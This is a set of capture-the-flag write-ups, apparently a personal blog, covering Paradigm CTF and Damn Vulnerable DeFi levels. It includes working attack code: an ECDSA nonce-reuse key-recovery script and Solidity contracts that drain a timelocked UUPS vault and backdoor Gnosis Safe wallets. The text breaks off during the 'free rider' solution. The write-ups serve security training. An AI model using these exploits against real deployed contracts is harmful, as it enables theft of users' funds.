Challenge:
This write-up is for the challenge titled ‘hello’.
This challenge is located in the hello/public/ directory. The source code can be found below:
Hello.sol:
pragma solidity 0.8.0;
contract Hello {
bool public solved = false;
function solve() public {
solved = true;
}
}
Setup.sol:
pragma solidity 0.8.0;
import "./Hello.sol";
contract Setup {
Hello public hello;
constructor() {
hello = new Hello();
}
function isSolved() public view returns (bool) {
return hello.solved();
}
}
The solution for this level can be found below:
Solution:
This challenge is really just about setting up the environment. As the competition is since over, I’ve chosen to simulate the challenges over the HardHat network.
Hardhat Challenge:
const { ethers } = require('hardhat');
const { expect } = require('chai');
describe('[Challenge] hello', function () {
before(async function () {
/** SETUP */
[deployer] = await ethers.getSigners();
const Setup = await ethers.getContractFactory('Setup', deployer);
this.setup = await Setup.deploy();
const Hello = await ethers.getContractFactory('Hello', deployer);
this.hello = await Hello.attach(await this.setup.hello());
});
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
});
after(async function () {
/** SUCCESS CONDITIONS */
expect(
await this.setup.isSolved()
).to.equal(true);
});
});
HardHat Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
await this.hello.solve();
});
Challenge:
This write-up is for the challenge titled ‘babycrypto’.
This challenge is located in the babycrypto/public/ directory. The source code can be found below:
chal.py:
from random import SystemRandom
from ecdsa import ecdsa
import sha3
import binascii
from typing import Tuple
import uuid
import os
def gen_keypair() -> Tuple[ecdsa.Private_key, ecdsa.Public_key]:
"""
generate a new ecdsa keypair
"""
g = ecdsa.generator_secp256k1
d = SystemRandom().randrange(1, g.order())
pub = ecdsa.Public_key(g, g * d)
priv = ecdsa.Private_key(pub, d)
return priv, pub
def gen_session_secret() -> int:
"""
generate a random 32 byte session secret
"""
with open("/dev/urandom", "rb") as rnd:
seed1 = int(binascii.hexlify(rnd.read(32)), 16)
seed2 = int(binascii.hexlify(rnd.read(32)), 16)
return seed1 ^ seed2
def hash_message(msg: str) -> int:
"""
hash the message using keccak256, truncate if necessary
"""
k = sha3.keccak_256()
k.update(msg.encode("utf8"))
d = k.digest()
n = int(binascii.hexlify(d), 16)
olen = ecdsa.generator_secp256k1.order().bit_length() or 1
dlen = len(d)
n >>= max(0, dlen - olen)
return n
if __name__ == "__main__":
flag = os.getenv("FLAG", "PCTF{placeholder}")
priv, pub = gen_keypair()
session_secret = gen_session_secret()
for _ in range(4):
message = input("message? ")
hashed = hash_message(message)
sig = priv.sign(hashed, session_secret)
print(f"r=0x{sig.r:032x}")
print(f"s=0x{sig.s:032x}")
test = hash_message(uuid.uuid4().hex)
print(f"test=0x{test:032x}")
r = int(input("r? "), 16)
s = int(input("s? "), 16)
if not pub.verifies(test, ecdsa.Signature(r, s)):
print("better luck next time")
exit(1)
print(flag)
The hints and solutions for this level can be found below:
Hint 1:
Hint 2:
Solution:
ECDSA algorithms require that the k value not only be sufficiently random, but also that it be different for each signature created. In this challenge, a session secret was generated and then it was used to sign four different messages.
This allowed us to derive k and then eventually to derive the private key. Using the private key and k, we can in turn recover both r and s and solve the challenge.
Solution.py:
from ecdsa import ecdsa
import chal as c
from mp import *
# Starting the process
p = process('python3', 'chal.py')
# Sending in test1 as our message and collecting our first r and s values
p >> 'message? ' << 'test1\n' >> 'r='
r1 = int(p.recvline(), 16)
p >> 's='
s1 = int(p.recvline(), 16)
m1 = "test1"
# Print out our first pair of r and s
print(f"r1: 0x{r1:x}")
print(f"s1: 0x{s1:x}")
# Sending in test2 as our message and collecting our second r and s values
p >> 'message? ' << 'test2\n' >> 'r='
r2 = int(p.recvline(), 16)
p >> 's='
s2 = int(p.recvline(), 16)
m2 = "test2"
# Print out our second pair of r and s
print(f"r2: 0x{r2:x}")
print(f"s2: 0x{s2:x}")
# Creating our z values from the messages
z1 = c.hash_message(m1)
z2 = c.hash_message(m2)
# Ensuring we have the correct order for our calculations
g = ecdsa.generator_secp256k1
n = g.order()
# Deriving k and the private key (da) due to k reuse
k = ((z1 - z2) % n ) * (ecdsa.numbertheory.inverse_mod(s1 - s2, n)) % n
da = ((((s1 * k) % n) -z1) * ecdsa.numbertheory.inverse_mod(r1, n)) % n
# Sending two more messages and then gathering our final hash
p << 'test3\ntest4\n' >> "test="
z3 = int(p.recvline(), 16)
print(f"test: 0x{z3:032x}")
# Calculations to recover r based on k (note, r is already known so we verify this later)
new_k = k % n
p1 = new_k * g
r = p1.x() % n
assert r == r1 == r2
# Calculation to recover s based on r, our final hash and the private key
s = (ecdsa.numbertheory.inverse_mod(k, n)* (z3 + (da * r) % n)) % n
# Send the r and s values
p >> 'r? ' << hex(r) << '\n'
p >> 's? ' << hex(s) << '\n'
# Gather flag and print to terminal
flag = p.recvline().decode('utf8')
print(f"flag: {flag}")
Challenge:
Our twelfth challenge is called ‘climber’ and it comes with the following prompt:
There's a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern.
The owner of the vault, currently a timelock contract, can withdraw a very limited amount of tokens every 15 days.
On the vault there's an additional role with powers to sweep all tokens in case of an emergency.
On the timelock, only an account with a "Proposer" role can schedule actions that can be executed 1 hour later.
Your goal is to empty the vault.
We have to find a way to take the funds from the vault and give them to the attacker.
The contracts for this challenge are located in contracts/climber/. The contract source code can be found below:
ClimberVault.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./ClimberTimelock.sol";
/**
* @title ClimberVault
* @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner.
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ClimberVault is Initializable, OwnableUpgradeable, UUPSUpgradeable {
uint256 public constant WITHDRAWAL_LIMIT = 1 ether;
uint256 public constant WAITING_PERIOD = 15 days;
uint256 private _lastWithdrawalTimestamp;
address private _sweeper;
modifier onlySweeper() {
require(msg.sender == _sweeper, "Caller must be sweeper");
_;
}
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {}
function initialize(address admin, address proposer, address sweeper) initializer external {
// Initialize inheritance chain
__Ownable_init();
__UUPSUpgradeable_init();
// Deploy timelock and transfer ownership to it
transferOwnership(address(new ClimberTimelock(admin, proposer)));
_setSweeper(sweeper);
_setLastWithdrawal(block.timestamp);
_lastWithdrawalTimestamp = block.timestamp;
}
// Allows the owner to send a limited amount of tokens to a recipient every now and then
function withdraw(address tokenAddress, address recipient, uint256 amount) external onlyOwner {
require(amount <= WITHDRAWAL_LIMIT, "Withdrawing too much");
require(block.timestamp > _lastWithdrawalTimestamp + WAITING_PERIOD, "Try later");
_setLastWithdrawal(block.timestamp);
IERC20 token = IERC20(tokenAddress);
require(token.transfer(recipient, amount), "Transfer failed");
}
// Allows trusted sweeper account to retrieve any tokens
function sweepFunds(address tokenAddress) external onlySweeper {
IERC20 token = IERC20(tokenAddress);
require(token.transfer(_sweeper, token.balanceOf(address(this))), "Transfer failed");
}
function getSweeper() external view returns (address) {
return _sweeper;
}
function _setSweeper(address newSweeper) internal {
_sweeper = newSweeper;
}
function getLastWithdrawalTimestamp() external view returns (uint256) {
return _lastWithdrawalTimestamp;
}
function _setLastWithdrawal(uint256 timestamp) internal {
_lastWithdrawalTimestamp = timestamp;
}
// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
function _authorizeUpgrade(address newImplementation) internal onlyOwner override {}
}
ClimberTimelock.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title ClimberTimelock
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ClimberTimelock is AccessControl {
using Address for address;
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
// Possible states for an operation in this timelock contract
enum OperationState {
Unknown,
Scheduled,
ReadyForExecution,
Executed
}
// Operation data tracked in this contract
struct Operation {
uint64 readyAtTimestamp; // timestamp at which the operation will be ready for execution
bool known; // whether the operation is registered in the timelock
bool executed; // whether the operation has been executed
}
// Operations are tracked by their bytes32 identifier
mapping(bytes32 => Operation) public operations;
uint64 public delay = 1 hours;
constructor(
address admin,
address proposer
) {
_setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
_setRoleAdmin(PROPOSER_ROLE, ADMIN_ROLE);
// deployer + self administration
_setupRole(ADMIN_ROLE, admin);
_setupRole(ADMIN_ROLE, address(this));
_setupRole(PROPOSER_ROLE, proposer);
}
function getOperationState(bytes32 id) public view returns (OperationState) {
Operation memory op = operations[id];
if(op.executed) {
return OperationState.Executed;
} else if(op.readyAtTimestamp >= block.timestamp) {
return OperationState.ReadyForExecution;
} else if(op.readyAtTimestamp > 0) {
return OperationState.Scheduled;
} else {
return OperationState.Unknown;
}
}
function getOperationId(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) public pure returns (bytes32) {
return keccak256(abi.encode(targets, values, dataElements, salt));
}
function schedule(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) external onlyRole(PROPOSER_ROLE) {
require(targets.length > 0 && targets.length < 256);
require(targets.length == values.length);
require(targets.length == dataElements.length);
bytes32 id = getOperationId(targets, values, dataElements, salt);
require(getOperationState(id) == OperationState.Unknown, "Operation already known");
operations[id].readyAtTimestamp = uint64(block.timestamp) + delay;
operations[id].known = true;
}
/** Anyone can execute what has been scheduled via `schedule` */
function execute(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) external payable {
require(targets.length > 0, "Must provide at least one target");
require(targets.length == values.length);
require(targets.length == dataElements.length);
bytes32 id = getOperationId(targets, values, dataElements, salt);
for (uint8 i = 0; i < targets.length; i++) {
targets[i].functionCallWithValue(dataElements[i], values[i]);
}
require(getOperationState(id) == OperationState.ReadyForExecution);
operations[id].executed = true;
}
function updateDelay(uint64 newDelay) external {
require(msg.sender == address(this), "Caller must be timelock itself");
require(newDelay <= 14 days, "Delay must be 14 days or less");
delay = newDelay;
}
receive() external payable {}
}
The hints and solutions for this level can be found below:
Hint 1:
Do you see any reentrancy concerns?
Hint 2:
Who is the msg.sender when you perform an external call in execute()
?
Hint 3:
Which contract is an upgrade performed on in the UUPS design pattern? (Is it the proxy or the implementation? Which one is the ClimberVault?)
Solution:
There are a couple of things we can gather both based on the prompt and a quick review of the code:
- We can guess that the UUPS proxy patern will serve an important role in the solution
- We will likely want to set the delay to 0 so that we can recover the funds in a single transaction
- We want to do something to sweep the funds to our attacker
Keeping this in mind, we can dive deeper into the code and see that the ClimberTimelock allows anyone to execute an arbitrary command as long as it was already proposed. This is interesting. Further, we would be executing the commands from the context of the contract itself. What actions can we perform if we execute something that is proposed? We can see right away that we could now pass the requirement check and update the delay to 0. That’s great now we would just need to find a way to be able to propose something.
If we look at the constructor, we see that we are given self-administration and can therefore grantRoles to anybody. In other words, we can assign the PROPOSER role to anybody of our choosing. This is great, but even if we abused this to call withdraw()
on the ClimberVault.sol
contract, we would still be limited in the amount of funds we can collect and the sweepFunds()
function can only possibly send funds to the designated sweeper.
This is where the UUPS proxy comes in handy. The UUPS proxy is unique in that the implementation address holds the logic for contract upgrades. A very big issue with these contracts is that the owner of the proxy is the exact contract that we are executing our arbitrary code from. In other words, we have the permission to upgrade the proxy to a brand new implementation address.
So far we have the ability to call execute()
which in turn gives us the ability to grant the proposer role and upgrade the contract to point to a new implementation. If we create a new implementation contract that allows us to sweep the funds to our attacker instead of to the current designated sweeper, then we would win! The only problem is.. we need to call execute()
before we even propose a new rule because we need the delay to take effect before a new proposal is set. Luckily, we have one more bug we can exploit.
The contract suffers from a cross-function reentrancy bug because execute()
checks that the commands being executed were already proposed AFTER they are actually executed. This means that we can create the proposal in the execute()
call itself to propose what we are executing after it has already been executed. Voila!
Ethers Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const { utils } = require('ethers');
const ClimberAttackFactory = await ethers.getContractFactory('ClimberAttacker', deployer);
this.c_attacker = await ClimberAttackFactory.deploy();
let timelockAddress = await this.vault.owner();
const SchedulerFactory = await ethers.getContractFactory('Scheduler', deployer);
this.scheduler = await SchedulerFactory.deploy();
let ABI_ud = ["function updateDelay(uint64 newDelay)"];
let iface_ud = new ethers.utils.Interface(ABI_ud);
updateDelay = iface_ud.encodeFunctionData("updateDelay", [0]);
let ABI_gr = ["function grantRole(bytes32 role, address account)"];
let iface_gr = new ethers.utils.Interface(ABI_gr);
let PROPOSER_ROLE = utils.keccak256(utils.toUtf8Bytes("PROPOSER_ROLE"))
grantRole = iface_gr.encodeFunctionData("grantRole", [PROPOSER_ROLE, this.c_attacker.address]);
let ABI_utac = ["function upgradeTo(address newImplementation)"];
let iface_utac = new ethers.utils.Interface(ABI_utac);
upgradeTo = iface_utac.encodeFunctionData("upgradeTo", [this.c_attacker.address]);
let ABI_dc = ["function schedule()"];
let iface_dc = new ethers.utils.Interface(ABI_dc);
schedule = iface_dc.encodeFunctionData("schedule", []);
let targets = [timelockAddress, timelockAddress, this.vault.address, this.c_attacker.address];
let values = [0, 0, 0, 0];
let dataElements = [updateDelay, grantRole, upgradeTo, schedule];
let salt = PROPOSER_ROLE;
await this.c_attacker.initializeMe(targets, values, dataElements, salt, timelockAddress, attacker.address);
await this.timelock.execute(targets, values, dataElements, salt);
await this.vault.connect(attacker).sweepFunds(this.token.address);
});
Contract Solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title ClimberAttacker.sol
* @author securerodd
*/
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface Timelock {
function schedule(address[] calldata, uint256[] calldata, bytes[] calldata,bytes32) external;
function getOperationId(address[] calldata, uint256[] calldata,bytes[] calldata, bytes32) external pure returns (bytes32);
}
contract ClimberAttacker is Initializable, OwnableUpgradeable, UUPSUpgradeable {
uint256 public constant WITHDRAWAL_LIMIT = 1 ether;
uint256 public constant WAITING_PERIOD = 15 days;
uint256 private _lastWithdrawalTimestamp;
address private _sweeper;
address[] public targets;
uint256[] public values;
bytes[] public dataElements;
bytes32 public salt;
Timelock timelock;
address public attacker;
modifier onlySweeper() {
require(msg.sender == _sweeper, "Caller must be sweeper");
_;
}
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {}
function initializeMe(
address[] memory _targets,
uint256[] memory _values,
bytes[] memory _dataElements,
bytes32 _salt,
address _timelock,
address _attacker)
initializer public {
targets = _targets;
values = _values;
dataElements = _dataElements;
salt = _salt;
timelock = Timelock(_timelock);
attacker = _attacker;
}
// Allows the owner to send a limited amount of tokens to a recipient every now and then
function withdraw(address tokenAddress, address recipient, uint256 amount) external onlyOwner {
require(amount <= WITHDRAWAL_LIMIT, "Withdrawing too much");
require(block.timestamp > _lastWithdrawalTimestamp + WAITING_PERIOD, "Try later");
_setLastWithdrawal(block.timestamp);
IERC20 token = IERC20(tokenAddress);
require(token.transfer(recipient, amount), "Transfer failed");
}
// MODIFIED to allow anyone to retrieve all tokens
function sweepFunds(address tokenAddress) external {
IERC20 token = IERC20(tokenAddress);
require(token.transfer(msg.sender, token.balanceOf(address(this))), "Transfer failed");
}
function getSweeper() external view returns (address) {
return _sweeper;
}
function _setSweeper(address newSweeper) internal {
_sweeper = newSweeper;
}
function getLastWithdrawalTimestamp() external view returns (uint256) {
return _lastWithdrawalTimestamp;
}
function _setLastWithdrawal(uint256 timestamp) internal {
_lastWithdrawalTimestamp = timestamp;
}
// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
function _authorizeUpgrade(address newImplementation) internal onlyOwner override {}
function schedule() external {
timelock.schedule(targets, values, dataElements, salt);
}
}
Challenge:
Our eleventh challenge is called ‘backdoor’ and it comes with the following prompt:
To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Gnosis Safe wallets. When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens.
To make sure everything is safe and sound, the registry tightly integrates with the legitimate Gnosis Safe Proxy Factory, and has some additional safety checks.
Currently there are four people registered as beneficiaries: Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance to be distributed among them.
Your goal is to take all funds from the registry. In a single transaction.
We have to find a way to take the funds that are supposed to go to Alice, Bob, Charlie and David.
The contract for this challenge is located in contracts/backdoor/. The contract source code can be found below:
WalletRegistry.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";
/**
* @title WalletRegistry
* @notice A registry for Gnosis Safe wallets.
When known beneficiaries deploy and register their wallets, the registry sends some Damn Valuable Tokens to the wallet.
* @dev The registry has embedded verifications to ensure only legitimate Gnosis Safe wallets are stored.
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract WalletRegistry is IProxyCreationCallback, Ownable {
uint256 private constant MAX_OWNERS = 1;
uint256 private constant MAX_THRESHOLD = 1;
uint256 private constant TOKEN_PAYMENT = 10 ether; // 10 * 10 ** 18
address public immutable masterCopy;
address public immutable walletFactory;
IERC20 public immutable token;
mapping (address => bool) public beneficiaries;
// owner => wallet
mapping (address => address) public wallets;
constructor(
address masterCopyAddress,
address walletFactoryAddress,
address tokenAddress,
address[] memory initialBeneficiaries
) {
require(masterCopyAddress != address(0));
require(walletFactoryAddress != address(0));
masterCopy = masterCopyAddress;
walletFactory = walletFactoryAddress;
token = IERC20(tokenAddress);
for (uint256 i = 0; i < initialBeneficiaries.length; i++) {
addBeneficiary(initialBeneficiaries[i]);
}
}
function addBeneficiary(address beneficiary) public onlyOwner {
beneficiaries[beneficiary] = true;
}
function _removeBeneficiary(address beneficiary) private {
beneficiaries[beneficiary] = false;
}
/**
@notice Function executed when user creates a Gnosis Safe wallet via GnosisSafeProxyFactory::createProxyWithCallback
setting the registry's address as the callback.
*/
function proxyCreated(
GnosisSafeProxy proxy,
address singleton,
bytes calldata initializer,
uint256
) external override {
// Make sure we have enough DVT to pay
require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");
address payable walletAddress = payable(proxy);
// Ensure correct factory and master copy
require(msg.sender == walletFactory, "Caller must be factory");
require(singleton == masterCopy, "Fake mastercopy used");
// Ensure initial calldata was a call to `GnosisSafe::setup`
require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");
// Ensure wallet initialization is the expected
require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");
// Ensure the owner is a registered beneficiary
address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");
// Remove owner as beneficiary
_removeBeneficiary(walletOwner);
// Register the wallet under the owner's address
wallets[walletOwner] = walletAddress;
// Pay tokens to the newly created wallet
token.transfer(walletAddress, TOKEN_PAYMENT);
}
}
The hints and solutions for this level can be found below:
Hint 1:
https://blog.openzeppelin.com/backdooring-gnosis-safe-multisig-wallets/
Hint 2:
Other useful resources:
https://github.com/safe-global/safe-contracts/blob/186a21a74b327f17fc41217a927dea7064f74604/contracts/proxies/GnosisSafeProxyFactory.sol#L82-L91
https://github.com/safe-global/safe-contracts/blob/892448e93f6203b530630f20de45d8a55fde7463/contracts/GnosisSafe.sol#L76-L100
https://github.com/safe-global/safe-contracts/blob/c36bcab46578a442862d043e12a83fec41143dec/contracts/base/ModuleManager.sol#L20-L26
https://github.com/safe-global/safe-contracts/blob/v1.3.0/test/core/GnosisSafe.ModuleManager.spec.ts
Solution:
This one was, in my opinion, significantly more difficult than the previous levels. It required uncovering a known exploitable issue with legitimate GnosisSafe deployments. Additionally, debugging was not a pleasant experience due to the lack of error messages for reverts that occurred when a new GnosisSafe proxy was created. It took far longer to chef up the attacking contract than it did to figure out what the actual problem was.
After reading the contract, I didn’t see an obvious vulnerability. I began to do some background research on Gnosis multisig wallets, and at one point I came across this OpenZeppelin blog post: https://blog.openzeppelin.com/backdooring-gnosis-safe-multisig-wallets/. I highly recommend reading this post if you haven’t already. It contains all of the info needed to figure out how to pass this level. Essentially, the issue arises because of two unique design choices:
- Gnosis safe multisigs allow for the creation of ‘modules’ which are actions that can be executed without the consent of the individual signers (effectively bypassing the multisig requirements).
- During Gnosis safe multisig proxy creation, the deployer is able to pass in arbitrary data to a delegatecall within the multisig contract.
By combining these two, we can see that it is possible for a deployer to set up a module in the newly deployed Gnosis safe multisig that can then be executed without the owner’s permission. Tying this back to the challenge, it becomes clear that the registry pays out the proxy for newly created Gnosis safe multisigs as long as the owner of the multisig is part of the registry. If the deployer is using the legitimate singleton address and factory for deployment, they can be anybody. Since we can be the deployer and the deployer has the ability to exploit the two issues stated above, we can ‘backdoor’ these wallets by setting up a module during deployment.
The full attack path looks like this:
- Create a data payload that will call the setup function on the newly created Gnosis safe multisig. We will pass into this both our malicious contract’s address and the encoded data for any function of our choice (remember, this function on our contract will be delegate called by the newly created multisig).
- Call
createProxyWithCallback
with the singleton address, our data payload, a random nonce, and the registry so that it can process the callback.
- During creation of the new multisig, the proxy will call the
setup()
function for the new multisig which will in turn make a delegatecall to our contract and call our module (which simply executes an approval to spend DVTs using the multisig as the msg.sender).
- The deployment will complete and pass all of the necessary checks (its owner will truly be either Alice, Bob, Charlie or David). Payment from the registry will be sent to the multisig.
- In the same transaction, we will abuse our approval form the module to call
transferFrom()
and take the DVTs that were sent to the multisigs
Ethers Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const WalletRegistryAttackFactory = await ethers.getContractFactory('WalletRegistryDrainer', deployer);
this.wr_attacker = await WalletRegistryAttackFactory.deploy(this.walletFactory.address, this.walletRegistry.address, this.token.address);
await this.wr_attacker.attack(users, this.masterCopy.address, this.token.address, attacker.address);
});
Contract Solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title WalletRegistryDrainer.sol
* @author securerodd
*/
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IWalletFactory {
function createProxy(address, bytes memory) external;
function createProxyWithCallback(address, bytes memory, uint256, IProxyCreationCallback callback) external returns (GnosisSafeProxy);
}
contract WalletRegistryDrainer {
IWalletFactory walletFactory;
address walletRegistry;
IERC20 token;
constructor(address _wallet_factory, address _wallet_registry, address _token) {
walletFactory = IWalletFactory(_wallet_factory);
walletRegistry = _wallet_registry;
token = IERC20(_token);
}
function attack(address[] calldata _owners, address _singleton, address _tokenAddress, address _attacker) external {
bytes memory data = abi.encodeWithSignature("setUpModule(address,address)", _tokenAddress, address(this));
uint256 owners_length = _owners.length;
for (uint256 i; i < owners_length;) {
address users = _owners[i];
address[] memory user = new address[](1);
user[0] = users;
bytes memory proxyInitData = abi.encodeWithSignature(
"setup(address[],uint256,address,bytes,address,address,uint256,address)",
user,
1,
address(this),
data,
address(0),
address(0),
0,
address(0)
);
GnosisSafeProxy GSP = walletFactory.createProxyWithCallback(_singleton, proxyInitData, i, IProxyCreationCallback(walletRegistry));
token.transferFrom(address(GSP), _attacker, 10 ether);
unchecked { ++i; }
}
}
function setUpModule(address _token, address _contract) external {
IERC20(_token).approve(_contract, 10 ether);
}
}
Challenge:
Our tenth challenge is called ‘free rider’ and it comes with the following prompt:
A new marketplace of Damn Valuable NFTs has been released! There's been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.
A buyer has shared with you a secret alpha: the marketplace is vulnerable and all tokens can be taken. Yet the buyer doesn't know how to do it. So it's offering a payout of 45 ETH for whoever is willing to take the NFTs out and send them their way.
You want to build some rep with this buyer, so you've agreed with the plan.
Sadly you only have 0.5 ETH in balance. If only there was a place where you could get free ETH, at least for an instant.
We need to find a way to borrow some ETH, use it to exploit the marketplace, and then pass over the NFTs to the buyer for our commission.
The contracts for this challenge are located in contracts/puppet-v2/. The contract source code can be found below:
FreeRiderNFTMarketplace.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableNFT.sol";
/**
* @title FreeRiderNFTMarketplace
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FreeRiderNFTMarketplace is ReentrancyGuard {
using Address for address payable;
DamnValuableNFT public token;
uint256 public amountOfOffers;
// tokenId -> price
mapping(uint256 => uint256) private offers;
event NFTOffered(address indexed offerer, uint256 tokenId, uint256 price);
event NFTBought(address indexed buyer, uint256 tokenId, uint256 price);
constructor(uint8 amountToMint) payable {
require(amountToMint < 256, "Cannot mint that many tokens");
token = new DamnValuableNFT();
for(uint8 i = 0; i < amountToMint; i++) {
token.safeMint(msg.sender);
}
}
function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant {
require(tokenIds.length > 0 && tokenIds.length == prices.length);
for (uint256 i = 0; i < tokenIds.length; i++) {
_offerOne(tokenIds[i], prices[i]);
}
}
function _offerOne(uint256 tokenId, uint256 price) private {
require(price > 0, "Price must be greater than zero");
require(
msg.sender == token.ownerOf(tokenId),
"Account offering must be the owner"
);
require(
token.getApproved(tokenId) == address(this) ||
token.isApprovedForAll(msg.sender, address(this)),
"Account offering must have approved transfer"
);
offers[tokenId] = price;
amountOfOffers++;
emit NFTOffered(msg.sender, tokenId, price);
}
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}
function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
require(priceToPay > 0, "Token is not being offered");
require(msg.value >= priceToPay, "Amount paid is not enough");
amountOfOffers--;
// transfer from seller to buyer
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller
payable(token.ownerOf(tokenId)).sendValue(priceToPay);
emit NFTBought(msg.sender, tokenId, priceToPay);
}
receive() external payable {}
}
FreeRiderBuyer.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
/**
* @title FreeRiderBuyer
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FreeRiderBuyer is ReentrancyGuard, IERC721Receiver {
using Address for address payable;
address private immutable partner;
IERC721 private immutable nft;
uint256 private constant JOB_PAYOUT = 45 ether;
uint256 private received;
constructor(address _partner, address _nft) payable {
require(msg.value == JOB_PAYOUT);
partner = _partner;
nft = IERC721(_nft);
IERC721(_nft).setApprovalForAll(msg.sender, true);
}
// Read https://eips.ethereum.org/EIPS/eip-721 for more info on this function
function onERC721Received(
address,
address,
uint256 _tokenId,
bytes memory
)
external
override
nonReentrant
returns (bytes4)
{
require(msg.sender == address(nft));
require(tx.origin == partner);
require(_tokenId >= 0 && _tokenId <= 5);
require(nft.ownerOf(_tokenId) == address(this));
received++;
if(received == 6) {
payable(partner).sendValue(JOB_PAYOUT);
}
return IERC721Receiver.onERC721Received.selector;
}
}
The hints and solutions for this level can be found below:
Hint 1:
First things first, how can we exploit the marketplace? There are multiple things wrong with the buy functionality.
Hint 2:
The first thing wrong with the buy functionality: it will send the proceeds not to the seller, but to the new owner of the NFT (hopefully you!).
Hint 3:
The second thing wrong with the buy functionality: the callvalue (msg.value) persists for the entire duration of the transaction. By calling the _buyOne()
function inside of a loop, we are passing in the same msg.value to it each time. In other words, for 15 ETH we can buy all of the NFTs.
Hint 4:
Now we need to find a way to borrow 15 ETH.
Resource:
https://docs.uniswap.org/protocol/V2/guides/smart-contract-integration/using-flash-swaps
Solution:
Ok, so this one was a lot of fun! We can see that the only functionality offered in the marketplace is to either modify an offer or purchase an NFT. Since the offer modification function has access control protections, we can turn our attention to the buy functionality. The first big issue here is that the payment to the seller is actually not sent to the seller at all. It happens post NFT transfer, which means the owner of the NFT is now actually the purchaser. This is a huge bug, and this alone is enough to complete the level if we can borrow enough ETH to purchase the NFTS (because it will be sent right back!). But, we can do better. If we look closely, the msg.value check occurs within the _buyOne()
function which is in turn called several times by the buyMany()
function. This means that the callvalue or amount in msg.value will persist throughout the entire transaction. All NFTs for the price of one! With these two bugs, we can drain the contract and sell the NFTs to our buyer to pocket nearly 135 ETH total.
The second thing we needed to figure out for this level was how we were going to receive a loan for the initial 15 ETH. When you look through the free-rider-challenge.js
file, we see that there is a uniswap pair set up with WETH and DVT. Using this hint, we can see if a uniswap pair will allow us to borrow WETH (since we can unwrap it) for a flash loan. After a small bit of research, we can see that all swaps on uniswap pairs are actually flash swaps. In other words, by crafting our request in a particular way, we can absolutely borrow WETH and pay it back before the swap transaction finishes! With these two tidbits, we are able to make our exploit contract and beat the level.
Ethers Solution:
it('Exploit', async function () {
